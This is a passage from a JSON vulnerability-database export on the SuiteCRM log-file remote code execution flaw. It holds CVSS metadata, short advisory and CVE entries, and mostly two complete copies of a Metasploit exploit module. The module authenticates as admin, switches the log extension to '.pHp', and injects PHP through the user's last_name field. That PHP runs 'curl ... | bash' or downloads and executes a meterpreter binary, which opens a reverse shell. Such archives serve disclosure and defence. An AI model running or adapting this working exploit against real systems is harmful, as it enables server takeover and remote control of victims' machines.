\ndata.add_part('suitecrm', nil, nil, 'form-data; name=\"logger_file_name\"') \ndata.add_part('.log', nil, nil, 'form-data; name=\"logger_file_ext\"') \ndata.add_part('fatal', nil, nil, 'form-data; name=\"logger_level\"') \ndata.add_part('Save', nil, nil, 'form-data; name=\"save\"') \n \npost_log_file(data) \n \ndata = Rex::MIME::Message.new \ndata.add_part('Users', nil, nil, 'form-data; name=\"module\"') \ndata.add_part('1', nil, nil, 'form-data; name=\"record\"') \ndata.add_part('Save', nil, nil, 'form-data; name=\"action\"') \ndata.add_part('EditView', nil, nil, 'form-data; name=\"page\"') \ndata.add_part('DetailView', nil, nil, 'form-data; name=\"return_action\"') \ndata.add_part(datastore['USER'], nil, nil, 'form-data; name=\"user_name\"') \ndata.add_part(datastore['LASTNAME'], nil, nil, 'form-data; name=\"last_name\"') \n \nres = post_log_file(data) \n \nprint_error(\"Failed - #{action}\") unless res && res.code == 301 \n \nprint_good(\"Succeeded - #{action}\") \nend \n \ndef check_logfile_request(res, action) \nfail_with(Failure::Unknown, \"#{action} - no reply\") unless res \n \nunless res.code == 301 \nprint_error(\"Failed - #{action}\") \nfail_with(Failure::UnexpectedReply, \"Failed - #{action}\") \nend \n \nprint_good(\"Succeeded - #{action}\") \nend \n \ndef execute_php \nprint_status(\"Executing php code in log file: #{@php_fname}\") \nres = send_request_cgi( \n{ \n'uri' => normalize_uri(target_uri, @php_fname), \n'keep_cookies' => true \n} \n) \nfail_with(Failure::NotFound, \"#{peer} - Not found: #{@php_fname}\") if res && res.code == 404 \nregister_files_for_cleanup(@php_fname) \nregister_files_for_cleanup(@meterpreter_fname) unless @meterpreter_fname.nil? || @meterpreter_fname.empty? \nend \n \ndef on_request_uri(cli, _request) \nsend_response(cli, payload.encoded, { 'Content-Type' => 'text/plain' }) \nprint_good(\"#{peer} - Payload sent!\") \nend \n \ndef start_http_server \nstart_service( \n{ \n'Uri' => { \n'Proc' => proc do |cli, req| \non_request_uri(cli, req) \nend, \n'Path' => resource_uri \n} \n} \n) \n@download_url = get_uri \nend \n \ndef exploit \nstart_http_server \nauthenticate unless @authenticated \nfail_with(Failure::NoAccess, datastore['USER'].to_s) unless @authenticated \nfail_with(Failure::NoAccess, \"#{datastore['USER']} does not have administrative rights!\") unless @is_admin \nmodify_system_settings_file \npoison_log_file \nexecute_php \nensure \nrestore if datastore['RESTORECONF'] \nend \nend \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/162975/suitecrm_log_file_rce.rb.txt", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}], "zdt": [{"lastseen": "2021-12-03T01:48:39", "description": "", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-11-17T00:00:00", "type": "zdt", "title": "SuiteCRM 7.11.18 - Remote Code Execution Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-28320", "CVE-2021-42840"], "modified": "2021-11-17T00:00:00", "id": "1337DAY-ID-37054", "href": "https://0day.today/exploit/description/37054", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = GoodRanking\n\n include Msf::Exploit::Remote::HttpClient\n include Msf::Exploit::Remote::CmdStager\n include Msf::Exploit::FileDropper\n prepend Msf::Exploit::Remote::AutoCheck\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'SuiteCRM Log File Remote Code Execution',\n 'Description' => %q{\n This module exploits an input validation error on the log file extension parameter. It does\n not properly validate upper/lower case characters. Once this occurs, the application log file\n will be treated as a php file. The log file can then be populated with php code by changing the\n username of a valid user, as this info is logged. The php code in the file can then be executed\n by sending an HTTP request to the log file. A similar issue was reported by the same researcher\n where a blank file extension could be supplied and the extension could be provided in the file\n name. This exploit will work on those versions as well, and those references are included.\n },\n 'License' => MSF_LICENSE,\n 'Author' => [\n 'M. Cory Billington' # @_th3y\n ],\n 'References' => [\n ['CVE', '2021-42840'],\n ['CVE', '2020-28328'], # First CVE\n ['EDB', '49001'], # Previous exploit, this module will cover those versions too. Almost identical issue.\n ['URL', 'https://theyhack.me/CVE-2020-28320-SuiteCRM-RCE/'], # First exploit\n ['URL', 'https://theyhack.me/SuiteCRM-RCE-2/'] # This exploit\n ],\n 'Platform' => %w[linux unix],\n 'Arch' => %w[ARCH_X64 ARCH_CMD ARCH_X86],\n 'Targets' => [\n [\n 'Linux (x64)', {\n 'Arch' => ARCH_X64,\n 'Platform' => 'linux',\n 'DefaultOptions' => {\n 'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'\n }\n }\n ],\n [\n 'Linux (cmd)', {\n 'Arch' => ARCH_CMD,\n 'Platform' => 'unix',\n 'DefaultOptions' => {\n 'PAYLOAD' => 'cmd/unix/reverse_bash'\n }\n }\n ]\n ],\n 'Notes' => {\n 'Stability' => [CRASH_SAFE],\n 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],\n 'Reliability' => [REPEATABLE_SESSION]\n },\n 'Privileged' => true,\n 'DisclosureDate' => '2021-04-28',\n 'DefaultTarget' => 0\n )\n )\n\n register_options(\n [\n OptString.new('TARGETURI', [true, 'The base path to SuiteCRM', '/']),\n OptString.new('USER', [true, 'Username of user with administrative rights', 'admin']),\n OptString.new('PASS', [true, 'Password for administrator', 'admin']),\n OptBool.new('RESTORECONF', [false, 'Restore the configuration file to default after exploit runs', true]),\n OptString.new('WRITABLEDIR', [false, 'Writable directory to stage meterpreter', '/tmp']),\n OptString.new('LASTNAME', [false, 'Admin user last name to clean up profile', 'admin'])\n ]\n )\n end\n\n def check\n authenticate unless @authenticated\n return Exploit::CheckCode::Unknown unless @authenticated\n\n version_check_request = send_request_cgi(\n {\n 'method' => 'GET',\n 'uri' => normalize_uri(target_uri.path, 'index.php'),\n 'keep_cookies' => true,\n 'vars_get' => {\n 'module' => 'Home',\n 'action' => 'About'\n }\n }\n )\n\n return Exploit::CheckCode::Unknown(\"#{peer} - Connection timed out\") unless version_check_request\n\n version_match = version_check_request.body[/\n Version\n \\s\n \\d{1} # Major revision\n \\.\n \\d{1,2} # Minor revision\n \\.\n \\d{1,2} # Bug fix release\n /x]\n\n version = version_match.partition(' ').last\n\n if version.nil? || version.empty?\n about_url = \"#{full_uri}#{normalize_uri(target_uri, 'index.php')}?module=Home&action=About\"\n return Exploit::CheckCode::Unknown(\"Check #{about_url} to confirm version.\")\n end\n\n patched_version = Rex::Version.new('7.11.18')\n current_version = Rex::Version.new(version)\n\n return Exploit::CheckCode::Appears(\"SuiteCRM #{version}\") if current_version <= patched_version\n\n Exploit::CheckCode::Safe(\"SuiteCRM #{version}\")\n end\n\n def authenticate\n print_status(\"Authenticating as #{datastore['USER']}\")\n initial_req = send_request_cgi(\n {\n 'method' => 'GET',\n 'uri' => normalize_uri(target_uri, 'index.php'),\n 'keep_cookies' => true,\n 'vars_get' => {\n 'module' => 'Users',\n 'action' => 'Login'\n }\n }\n )\n\n return false unless initial_req && initial_req.code == 200\n\n login = send_request_cgi(\n {\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri, 'index.php'),\n 'keep_cookies' => true,\n 'vars_post' => {\n 'module' => 'Users',\n 'action' => 'Authenticate',\n 'return_module' => 'Users',\n 'return_action' => 'Login',\n 'user_name' => datastore['USER'],\n 'username_password' => datastore['PASS'],\n 'Login' => 'Log In'\n }\n }\n )\n\n return false unless login && login.code == 302\n\n res = send_request_cgi(\n {\n 'method' => 'GET',\n 'uri' => normalize_uri(target_uri, 'index.php'),\n 'keep_cookies' => true,\n 'vars_get' => {\n 'module' => 'Administration',\n 'action' => 'index'\n }\n }\n )\n\n auth_succeeded?(res)\n end\n\n def auth_succeeded?(res)\n return false unless res\n\n if res.code == 200\n print_good(\"Authenticated as: #{datastore['USER']}\")\n if res.body.include?('Unauthorized access to administration.')\n print_warning(\"#{datastore['USER']} does not have administrative rights! Exploit will fail.\")\n @is_admin = false\n else\n print_good(\"#{datastore['USER']} has administrative rights.\")\n @is_admin = true\n end\n @authenticated = true\n return true\n else\n print_error(\"Failed to authenticate as: #{datastore['USER']}\")\n return false\n end\n end\n\n def post_log_file(data)\n send_request_cgi(\n {\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri, 'index.php'),\n 'ctype' => \"multipart/form-data; boundary=#{data.bound}\",\n 'keep_cookies' => true,\n 'headers' => {\n 'Referer' => \"#{full_uri}#{normalize_uri(target_uri, 'index.php')}?module=Configurator&action=EditView\"\n },\n 'data' => data.to_s\n }\n )\n end\n\n def modify_system_settings_file\n filename = rand_text_alphanumeric(8).to_s\n extension = '.pHp'\n @php_fname = filename + extension\n action = 'Modify system settings file'\n print_status(\"Trying - #{action}\")\n\n data = Rex::MIME::Message.new\n data.add_part('SaveConfig', nil, nil, 'form-data; name=\"action\"')\n data.add_part('Configurator', nil, nil, 'form-data; name=\"module\"')\n data.add_part(filename.to_s, nil, nil, 'form-data; name=\"logger_file_name\"')\n data.add_part(extension.to_s, nil, nil, 'form-data; name=\"logger_file_ext\"')\n data.add_part('info', nil, nil, 'form-data; name=\"logger_level\"')\n data.add_part('Save', nil, nil, 'form-data; name=\"save\"')\n\n res = post_log_file(data)\n check_logfile_request(res, action)\n end\n\n def poison_log_file\n action = 'Poison log file'\n if target.arch.first == 'cmd'\n command_injection = \"<?php `curl #{@download_url} | bash`; ?>\"\n else\n @meterpreter_fname = \"#{datastore['WRITABLEDIR']}/#{rand_text_alphanumeric(8)}\"\n command_injection = %(\n <?php `curl #{@download_url} -o #{@meterpreter_fname};\n /bin/chmod 700 #{@meterpreter_fname};\n /bin/sh -c #{@meterpreter_fname};`; ?>\n )\n end\n\n print_status(\"Trying - #{action}\")\n\n data = Rex::MIME::Message.new\n data.add_part('Users', nil, nil, 'form-data; name=\"module\"')\n data.add_part('1', nil, nil, 'form-data; name=\"record\"')\n data.add_part('Save', nil, nil, 'form-data; name=\"action\"')\n data.add_part('EditView', nil, nil, 'form-data; name=\"page\"')\n data.add_part('DetailView', nil, nil, 'form-data; name=\"return_action\"')\n data.add_part(datastore['USER'], nil, nil, 'form-data; name=\"user_name\"')\n data.add_part(command_injection, nil, nil, 'form-data; name=\"last_name\"')\n\n res = post_log_file(data)\n check_logfile_request(res, action)\n end\n\n def restore\n action = 'Restore logging to default configuration'\n print_status(\"Trying - #{action}\")\n\n data = Rex::MIME::Message.new\n data.add_part('SaveConfig', nil, nil, 'form-data; name=\"action\"')\n data.add_part('Configurator', nil, nil, 'form-data; name=\"module\"')\n data.add_part('suitecrm', nil, nil, 'form-data; name=\"logger_file_name\"')\n data.add_part('.log', nil, nil, 'form-data; name=\"logger_file_ext\"')\n data.add_part('fatal', nil, nil, 'form-data; name=\"logger_level\"')\n data.add_part('Save', nil, nil, 'form-data; name=\"save\"')\n\n post_log_file(data)\n\n data = Rex::MIME::Message.new\n data.add_part('Users', nil, nil, 'form-data; name=\"module\"')\n data.add_part('1', nil, nil, 'form-data; name=\"record\"')\n data.add_part('Save', nil, nil, 'form-data; name=\"action\"')\n data.add_part('EditView', nil, nil, 'form-data; name=\"page\"')\n data.add_part('DetailView', nil, nil, 'form-data; name=\"return_action\"')\n data.add_part(datastore['USER'], nil, nil, 'form-data; name=\"user_name\"')\n data.add_part(datastore['LASTNAME'], nil, nil, 'form-data; name=\"last_name\"')\n\n res = post_log_file(data)\n\n print_error(\"Failed - #{action}\") unless res && res.code == 301\n\n print_good(\"Succeeded - #{action}\")\n end\n\n def check_logfile_request(res, action)\n fail_with(Failure::Unknown, \"#{action} - no reply\") unless res\n\n unless res.code == 301\n print_error(\"Failed - #{action}\")\n fail_with(Failure::UnexpectedReply, \"Failed - #{action}\")\n end\n\n print_good(\"Succeeded - #{action}\")\n end\n\n def execute_php\n print_status(\"Executing php code in log file: #{@php_fname}\")\n res = send_request_cgi(\n {\n 'uri' => normalize_uri(target_uri, @php_fname),\n 'keep_cookies' => true\n }\n )\n fail_with(Failure::NotFound, \"#{peer} - Not found: #{@php_fname}\") if res && res.code == 404\n register_files_for_cleanup(@php_fname)\n register_files_for_cleanup(@meterpreter_fname) unless @meterpreter_fname.nil? || @meterpreter_fname.empty?\n end\n\n def on_request_uri(cli, _request)\n send_response(cli, payload.encoded, { 'Content-Type' => 'text/plain' })\n print_good(\"#{peer} - Payload sent!\")\n end\n\n def start_http_server\n start_service(\n {\n 'Uri' => {\n 'Proc' => proc do |cli, req|\n on_request_uri(cli, req)\n end,\n 'Path' => resource_uri\n }\n }\n )\n @download_url = get_uri\n end\n\n def exploit\n start_http_server\n authenticate unless @authenticated\n fail_with(Failure::NoAccess, datastore['USER'].to_s) unless @authenticated\n fail_with(Failure::NoAccess, \"#{datastore['USER']} does not have administrative rights!\") unless @is_admin\n modify_system_settings_file\n poison_log_file\n execute_php\n ensure\n restore if datastore['RESTORECONF']\n end\nend\n", "sourceHref": "https://0day.today/exploit/37054", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2021-12-23T13:21:13", "description": "This Metasploit module exploits an input validation error on the log file extension parameter. It does not properly validate upper/lower case characters. Once this occurs, the application log file will be treated as a php file. The log file can then be populated with php code by changing the username of a valid user, as this info is logged. The php code in the file can then be executed by sending an HTTP request to the log file. A similar issue was reported by the same researcher where a blank file extension could be supplied and the extension could be provided in the file name. This exploit will work on those versions as well, and those references are included.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-06-04T00:00:00", "type": "zdt", "title": "SuiteCRM Log File Remote Code Execution Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-28320", "CVE-2020-28328"], "modified": "2021-06-04T00:00:00", "id": "1337DAY-ID-36361", "href": "https://0day.today/exploit/description/36361", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = GoodRanking\n\n include Msf::Exploit::Remote::HttpClient\n include Msf::Exploit::Remote::CmdStager\n include Msf::Exploit::FileDropper\n prepend Msf::Exploit::Remote::AutoCheck\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'SuiteCRM Log File Remote Code Execution',\n 'Description' => %q{\n This module exploits an input validation error on the log file extension parameter. It does\n not properly validate upper/lower case characters. Once this occurs, the application log file\n will be treated as a php file. The log file can then be populated with php code by changing the\n username of a valid user, as this info is logged. The php code in the file can then be executed\n by sending an HTTP request to the log file. A similar issue was reported by the same researcher\n where a blank file extension could be supplied and the extension could be provided in the file\n name. This exploit will work on those versions as well, and those references are included.\n },\n 'License' => MSF_LICENSE,\n 'Author' =>\n [\n 'M. Cory Billington' # @_th3y\n ],\n 'References' =>\n [\n ['CVE', '2020-28328'], # First CVE\n ['EDB', '49001'], # Previous exploit, this module will cover those versions too. Almost identical issue.\n ['URL', 'https://theyhack.me/CVE-2020-28320-SuiteCRM-RCE/'], # First exploit\n ['URL', 'https://theyhack.me/SuiteCRM-RCE-2/'] # This exploit\n ],\n 'Platform' => %w[linux unix],\n 'Arch' => %w[ARCH_X64 ARCH_CMD ARCH_X86],\n 'Targets' =>\n [\n [\n 'Linux (x64)', {\n 'Arch' => ARCH_X64,\n 'Platform' => 'linux',\n 'DefaultOptions' => {\n 'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'\n }\n }\n ],\n [\n 'Linux (cmd)', {\n 'Arch' => ARCH_CMD,\n 'Platform' => 'unix',\n 'DefaultOptions' => {\n 'PAYLOAD' => 'cmd/unix/reverse_bash'\n }\n }\n ]\n ],\n 'Notes' =>\n {\n 'Stability' => [CRASH_SAFE],\n 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],\n 'Reliability' => [REPEATABLE_SESSION]\n },\n 'Privileged' => true,\n 'DisclosureDate' => '2021-04-28',\n 'DefaultTarget' => 0\n )\n )\n\n register_options(\n [\n OptString.new('TARGETURI', [true, 'The base path to SuiteCRM', '/']),\n OptString.new('USER', [true, 'Username of user with administrative rights', 'admin']),\n OptString.new('PASS', [true, 'Password for administrator', 'admin']),\n OptBool.new('RESTORECONF', [false, 'Restore the configuration file to default after exploit runs', true]),\n OptString.new('WRITABLEDIR', [false, 'Writable directory to stage meterpreter', '/tmp']),\n OptString.new('LASTNAME', [false, 'Admin user last name to clean up profile', 'admin'])\n ]\n )\n end\n\n def check\n authenticate unless @authenticated\n return Exploit::CheckCode::Unknown unless @authenticated\n\n version_check_request = send_request_cgi(\n {\n 'method' => 'GET',\n 'uri' => normalize_uri(target_uri.path, 'index.php'),\n 'keep_cookies' => true,\n 'vars_get' => {\n 'module' => 'Home',\n 'action' => 'About'\n }\n }\n )\n\n return Exploit::CheckCode::Unknown(\"#{peer} - Connection timed out\") unless version_check_request\n\n version_match = version_check_request.body[/\n Version\n \\s\n \\d{1} # Major revision\n \\.\n \\d{1,2} # Minor revision\n \\.\n \\d{1,2} # Bug fix release\n /x]\n\n version = version_match.partition(' ').last\n\n if version.nil? || version.empty?\n about_url = \"#{full_uri}#{normalize_uri(target_uri, 'index.php')}?module=Home&action=About\"\n return Exploit::CheckCode::Unknown(\"Check #{about_url} to confirm version.\")\n end\n\n patched_version = Rex::Version.new('7.11.18')\n current_version = Rex::Version.new(version)\n\n return Exploit::CheckCode::Appears(\"SuiteCRM #{version}\") if current_version <= patched_version\n\n Exploit::CheckCode::Safe(\"SuiteCRM #{version}\")\n end\n\n def authenticate\n print_status(\"Authenticating as #{datastore['USER']}\")\n initial_req = send_request_cgi(\n {\n 'method' => 'GET',\n 'uri' => normalize_uri(target_uri, 'index.php'),\n 'keep_cookies' => true,\n 'vars_get' => {\n 'module' => 'Users',\n 'action' => 'Login'\n }\n }\n )\n\n return false unless initial_req && initial_req.code == 200\n\n login = send_request_cgi(\n {\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri, 'index.php'),\n 'keep_cookies' => true,\n 'vars_post' => {\n 'module' => 'Users',\n 'action' => 'Authenticate',\n 'return_module' => 'Users',\n 'return_action' => 'Login',\n 'user_name' => datastore['USER'],\n 'username_password' => datastore['PASS'],\n 'Login' => 'Log In'\n }\n }\n )\n\n return false unless login && login.code == 302\n\n res = send_request_cgi(\n {\n 'method' => 'GET',\n 'uri' => normalize_uri(target_uri, 'index.php'),\n 'keep_cookies' => true,\n 'vars_get' => {\n 'module' => 'Administration',\n 'action' => 'index'\n }\n }\n )\n\n auth_succeeded?(res)\n end\n\n def auth_succeeded?(res)\n return false unless res\n\n if res.code == 200\n print_good(\"Authenticated as: #{datastore['USER']}\")\n if res.body.include?('Unauthorized access to administration.')\n print_warning(\"#{datastore['USER']} does not have administrative rights! Exploit will fail.\")\n @is_admin = false\n else\n print_good(\"#{datastore['USER']} has administrative rights.\")\n @is_admin = true\n end\n @authenticated = true\n return true\n else\n print_error(\"Failed to authenticate as: #{datastore['USER']}\")\n return false\n end\n end\n\n def post_log_file(data)\n send_request_cgi(\n {\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri, 'index.php'),\n 'ctype' => \"multipart/form-data; boundary=#{data.bound}\",\n 'keep_cookies' => true,\n 'headers' => {\n 'Referer' => \"#{full_uri}#{normalize_uri(target_uri, 'index.php')}?module=Configurator&action=EditView\"\n },\n 'data' => data.to_s\n }\n )\n end\n\n def modify_system_settings_file\n filename = rand_text_alphanumeric(8).to_s\n extension = '.pHp'\n @php_fname = filename + extension\n action = 'Modify system settings file'\n print_status(\"Trying - #{action}\")\n\n data = Rex::MIME::Message.new\n data.add_part('SaveConfig', nil, nil, 'form-data; name=\"action\"')\n data.add_part('Configurator', nil, nil, 'form-data; name=\"module\"')\n data.add_part(filename.to_s, nil, nil, 'form-data; name=\"logger_file_name\"')\n data.add_part(extension.to_s, nil, nil, 'form-data; name=\"logger_file_ext\"')\n data.add_part('info', nil, nil, 'form-data; name=\"logger_level\"')\n data.add_part('Save', nil, nil, 'form-data; name=\"save\"')\n\n res = post_log_file(data)\n check_logfile_request(res, action)\n end\n\n def poison_log_file\n action = 'Poison log file'\n if target.arch.first == 'cmd'\n command_injection = \"<?php `curl #{@download_url} | bash`; ?>\"\n else\n @meterpreter_fname = \"#{datastore['WRITABLEDIR']}/#{rand_text_alphanumeric(8)}\"\n command_injection = %(\n <?php `curl #{@download_url} -o #{@meterpreter_fname};\n /bin/chmod 700 #{@meterpreter_fname};\n /bin/sh -c #{@meterpreter_fname};`; ?>\n )\n end\n\n print_status(\"Trying - #{action}\")\n\n data = Rex::MIME::Message.new\n data.add_part('Users', nil, nil, 'form-data; name=\"module\"')\n data.add_part('1', nil, nil, 'form-data; name=\"record\"')\n data.add_part('Save', nil, nil, 'form-data; name=\"action\"')\n data.add_part('EditView', nil, nil, 'form-data; name=\"page\"')\n data.add_part('DetailView', nil, nil, 'form-data; name=\"return_action\"')\n data.add_part(datastore['USER'], nil, nil, 'form-data; name=\"user_name\"')\n data.add_part(command_injection, nil, nil, 'form-data; name=\"last_name\"')\n\n res = post_log_file(data)\n check_logfile_request(res, action)\n end\n\n def restore\n action = 'Restore logging to default configuration'\n print_status(\"Trying - #{action}\")\n\n data = Rex::MIME::Message.new\n data.add_part('SaveConfig', nil, nil, 'form-data; name=\"action\"')\n data.add_part('Configurator', nil, nil, 'form-data; name=\"module\"')\n data.add_part('suitecrm', nil, nil, 'form-data; name=\"logger_file_name\"')\n data.add_part('.log', nil, nil, 'form-data; name=\"logger_file_ext\"')\n data.add_part('fatal', nil, nil, 'form-data; name=\"logger_level\"')\n data.add_part('Save', nil, nil, 'form-data; name=\"save\"')\n\n post_log_file(data)\n\n data = Rex::MIME::Message.new\n data.add_part('Users', nil, nil, 'form-data; name=\"module\"')\n data.add_part('1', nil, nil, 'form-data; name=\"record\"')\n data.add_part('Save', nil, nil, 'form-data; name=\"action\"')\n data.add_part('EditView', nil, nil, 'form-data; name=\"page\"')\n data.add_part('DetailView', nil, nil, 'form-data; name=\"return_action\"')\n data.add_part(datastore['USER'], nil, nil, 'form-data; name=\"user_name\"')\n data.add_part(datastore['LASTNAME'], nil, nil, 'form-data; name=\"last_name\"')\n\n res = post_log_file(data)\n\n print_error(\"Failed - #{action}\") unless res && res.code == 301\n\n print_good(\"Succeeded - #{action}\")\n end\n\n def check_logfile_request(res, action)\n fail_with(Failure::Unknown, \"#{action} - no reply\") unless res\n\n unless res.code == 301\n print_error(\"Failed - #{action}\")\n fail_with(Failure::UnexpectedReply, \"Failed - #{action}\")\n end\n\n print_good(\"Succeeded - #{action}\")\n end\n\n def execute_php\n print_status(\"Executing php code in log file: #{@php_fname}\")\n res = send_request_cgi(\n {\n 'uri' => normalize_uri(target_uri, @php_fname),\n 'keep_cookies' => true\n }\n )\n fail_with(Failure::NotFound, \"#{peer} - Not found: #{@php_fname}\") if res && res.code == 404\n register_files_for_cleanup(@php_fname)\n register_files_for_cleanup(@meterpreter_fname) unless @meterpreter_fname.nil? || @meterpreter_fname.empty?\n end\n\n def on_request_uri(cli, _request)\n send_response(cli, payload.encoded, { 'Content-Type' => 'text/plain' })\n print_good(\"#{peer} - Payload sent!\")\n end\n\n def start_http_server\n start_service(\n {\n 'Uri' => {\n 'Proc' => proc do |cli, req|\n on_request_uri(cli, req)\n end,\n 'Path' => resource_uri\n }\n }\n )\n @download_url = get_uri\n end\n\n def exploit\n start_http_server\n authenticate unless @authenticated\n fail_with(Failure::NoAccess, datastore['USER'].to_s) unless @authenticated\n fail_with(Failure::NoAccess, \"#{datastore['USER']} does not have administrative rights!\") unless @is_admin\n modify_system_settings_file\n poison_log_file\n execute_php\n ensure\n restore if datastore['RESTORECONF']\n end\nend\n", "sourceHref": "https://0day.today/exploit/36361", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}], "githubexploit": [{"lastseen": "2022-01-30T06:30:00", "description": "# CVE-2020-28328 SuiteCRM Remote Code Execution via Log File Sys...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-11-06T00:56:36", "type": "githubexploit", "title": "Exploit for Unrestricted Upload of File with Dangerous Type in Salesagility Suitecrm", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-28328"], "modified": "2022-01-30T05:25:50", "id": "014D2C3F-933E-5FFE-9789-A8CD6207F2AF", "href": "", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "privateArea": 1}], "checkpoint_advisories": [{"lastseen": "2022-02-16T19:36:54", "description": "A remote code execution vulnerability exists in SuiteCRM. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-11-28T00:00:00", "type": "checkpoint_advisories", "title": "SuiteCRM Remote Code Execution (CVE-2020-28328)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-28328"], "modified": "2020-11-28T00:00:00", "id": "CPAI-2020-1233", "href": "", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}], "cve": [{"lastseen": "2022-03-23T17:04:13", "description": "SuiteCRM before 7.11.17 is vulnerable to remote code execution via the system settings Log File Name setting. In certain circumstances involving admin account takeover, logger_file_name can refer to an attacker-controlled .php file under the web root.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-11-06T19:15:00", "type": "cve", "title": "CVE-2020-28328", "cwe": ["CWE-434"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, 